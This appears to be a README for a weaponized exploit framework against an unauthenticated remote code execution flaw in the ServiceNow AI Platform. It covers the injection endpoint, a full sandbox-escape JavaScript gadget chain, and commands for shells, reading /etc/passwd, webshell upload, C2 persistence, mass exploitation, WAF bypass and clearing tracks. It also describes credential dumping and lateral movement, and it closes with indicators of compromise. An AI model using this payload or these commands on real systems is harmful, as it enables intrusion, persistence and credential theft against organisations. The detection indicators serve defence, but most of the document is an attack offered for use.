CVE-2026-6875 - ServiceNow Pre‑Auth RCE Exploit Framework & PoC Verifier 🔥

ServiceNow AI Platform — JavaScript Injection → Sandbox Escape → RCE → Root Privesc

Exploit Framework & Safe Verifier
For authorized security testing only.

⚖️ Legal Disclaimer & Responsible Use

This tool is provided for educational and authorized penetration testing purposes only.

The authors and contributors are not responsible for any misuse or damage caused by this software. Users are solely responsible for ensuring they have explicit written permission from the target owner before testing. Unauthorized access to computer systems is illegal under the Computer Fraud and Abuse Act (CFAA) and similar laws worldwide.

By using this software, you agree to:

• Use it only on systems you own or have explicit permission to test.
• Comply with all applicable local, state, and federal laws.
• Not use it for any malicious, destructive, or illegal activities.

⚠️ WARNING: This vulnerability is actively exploited in the wild. Unauthorized use may result in severe legal consequences.

🔥 Vulnerability Overview

CVE-2026-6875 is a critical unauthenticated Remote Code Execution (RCE) vulnerability in the ServiceNow AI Platform (formerly Now Platform). It allows attackers to bypass the script sandbox and execute arbitrary system commands with the privileges of the ServiceNow application.

How it works:

1. JavaScript Injection: The assessment_thanks.do endpoint accepts a sysparm_assessable_type parameter. By prefixing the value with javascript:, an attacker injects arbitrary JavaScript code.

2. Sandbox Escape: A sophisticated sandbox‑escape gadget (chaining DiscoveryFunctions.getCacheObjectForTable, AbstractAjaxProcessor, and Class.create) lifts the JavaScript sandbox restriction.

3. Remote Code Execution: The injected Java code (via java.lang.Runtime.exec()) runs with ServiceNow application privileges, enabling full system compromise.

4. Privilege Escalation: Post‑exploitation modules attempt to escalate to root via sudo misconfigurations, SUID binaries, writable cron jobs, or kernel exploits.

Key Facts:

🛠️ Exploit Framework (exploit.py)

The full weaponized exploit chains the JavaScript injection and sandbox escape to achieve remote code execution, with advanced post‑exploitation modules for persistence, lateral movement, and credential dumping.

✨ Features

Interactive Shell Commands

🕵️ Safe Verifier (verifier.py)

The safe verifier performs non‑intrusive vulnerability detection without executing harmful payloads or making system changes.

✨ Features

📦 Installation & Requirements

Prerequisites

• Python 3.6+
• pip (for requests library)

Install Dependencies

pip install requests urllib3

[!NOTE] exploit.py uses only the standard library for core functionality; requests is only required for the --detect feature, --webhook notifications, and safe verifier.

🚀 Usage Examples

[1] Safe Verifier (verifier.py)

# Single target verification
python verifier.py -u 192.168.1.100

# Custom port and path
python verifier.py -u 10.0.0.5 -p 8443 --path /snow

# Mass scan from file
python verifier.py -l targets.txt -o results.json

# Quiet mode (only vulnerable targets)
python verifier.py -u 192.168.1.100 -q

# Increase timeout for slow targets
python verifier.py -u servicenow.example.com --timeout 60

# Custom User-Agent
python verifier.py -u 192.168.1.100 --user-agent "MyScanner/1.0"

[2] Exploit Framework (exploit.py)

# Interactive shell on target
python exploit.py -u 192.168.1.100

# Execute a single command
python exploit.py -u 192.168.1.100 --exec "id && whoami"

# Read a file
python exploit.py -u 192.168.1.100 --read-file /etc/passwd

# Enable detection before exploitation
python exploit.py -u 192.168.1.100 --detect

# Attempt root privilege escalation
python exploit.py -u 192.168.1.100 --privesc

# Upload a webshell
python exploit.py -u 192.168.1.100 --upload shell.jsp

# Install persistence with C2
python exploit.py -u 192.168.1.100 --persistence --c2-host 10.0.0.5 --c2-port 4444

# Clean tracks after exploit
python exploit.py -u 192.168.1.100 --clean

# Use fileless (memory) payload
python exploit.py -u 192.168.1.100 --fileless --c2-host 10.0.0.5 --c2-port 4444

# Mass exploit from file (50 threads)
python exploit.py -l targets.txt -m 50 --exec "uname -a"

# Custom callback server port
python exploit.py -u 192.168.1.100 --callback-port 9090

# Enable WAF bypass techniques
python exploit.py -u 192.168.1.100 --waf-bypass

# Send notifications via webhook
python exploit.py -u 192.168.1.100 --webhook https://myhook.com/snow

# Pipe mode (read command from stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100

# Custom port and path
python exploit.py -u 10.0.0.5 -p 8443 --path /snow

# Disable TLS verification (for self-signed certs)
python exploit.py -u 192.168.1.100 --insecure-tls

# Custom timeout and retries
python exploit.py -u 192.168.1.100 -t 60 -r 5 -d 2.0

🎯 Affected Versions

⚠️ Important: ServiceNow Cloud instances are automatically patched. This vulnerability primarily affects self‑hosted deployments.

🧠 Technical Deep Dive

1. JavaScript Injection (CVE-2026-6875)

The vulnerability resides in the assessment_thanks.do endpoint, which accepts a sysparm_assessable_type parameter. By supplying a value starting with javascript:, the platform evaluates the subsequent JavaScript within the system context.

Vulnerable Endpoint:

POST /assessment_thanks.do sysparm_assessable_type=javascript:gs.print('test')

2. Sandbox Escape Gadget

The injected code is initially confined to a sandbox. However, by exploiting the following chain:

javascript:
var s="<payload>";
DiscoveryFunctions.getCacheObjectForTable=Object;
var a={};a.get=Object;
var b=new AbstractAjaxProcessor();
b.initialize=DiscoveryFunctions.getFirstValueFromTable(
  a,"",DiscoveryFunctions.getFirstValueFromTable(
    a,"",DiscoveryFunctions.getFirstValueFromTable(
      a,"",global,"WorkflowIconsSCR",""),"prototype",""),"initialize","");
b.a=Class.create();b.a(s);

The sandbox is bypassed, granting full access to Java classes such as java.lang.Runtime.

3. Post‑Exploitation Modules

Credential Dumping

Searches for .properties, .xml, .conf files for passwords, API keys, and secrets:

• /opt/ServiceNow/conf/*.xml
• /var/log/ServiceNow/*.log
• /etc/passwd, /etc/shadow

Persistence

Installs backdoors via:

• Linux: Cron jobs (*/5 * * * *), systemd services, SSH keys
• Windows: Scheduled tasks (schtasks), Registry run keys

Lateral Movement

Scans local subnet for other ServiceNow instances or SSH hosts, re‑uses discovered credentials.

Fileless Execution

Compiles a Java class on‑the‑fly, loads it via ClassLoader, and executes it in memory (no disk writes).

WAF Bypass Techniques

1. Double URL encoding
2. JavaScript comments ({/*comment*/})
3. Unicode escaping (\u0077 for w)
4. Whitespace injection
5. Keyword splitting (ne\u0077 for new)
6. Random technique selection

🔍 Indicators of Compromise (IoCs)

Log Analysis

Search your ServiceNow logs for:

• extraweb_access.log – requests to /assessment_thanks.do with sysparm_assessable_type containing:
  • javascript:
  • Base64‑encoded strings
  • DiscoveryFunctions.getCacheObjectForTable
  • AbstractAjaxProcessor

File System

• Unexpected files in /var/tmp/ (e.g., shell.jsp, .sh scripts)
• Modified /etc/passwd, /etc/shadow, or ~/.ssh/authorized_keys
• New cron jobs (crontab -l)
• New systemd services (/etc/systemd/system/)

Processes

• Suspicious processes (/bin/bash -i, nc, curl, wget, python -c)
• Unexpected network connections to external IPs

Network

• Outbound connections from ServiceNow server to unauthorized IPs
• Reverse shell connections on unusual ports

📚 References

• NVD - CVE-2026-6875
• ServiceNow Security Advisory (KB3137947)
• CISA KEV Catalog
• Searchlight Cyber – Technical Write‑up
• The Hacker News – ServiceNow Zero‑Day Exploited

🔗 Other Exploits

[+] CVE-2026-15409/15410 - SonicWall SMA1000 Multi-Exploit Framework
https://github.com/tc4dy/CVE-2026-15409-15410-Framework

[+] CVE-2026-41091 - SolarFlare (RedSun) Microsoft Defender LPE
https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit

[+] CVE-2026-57821 - Apache Fineract SQL Injection Toolkit
https://github.com/tc4dy/CVE-2026-57821-PoC-Exploit

[+] CVE-2026-41940 - cPanel/WHM Authentication Bypass
https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit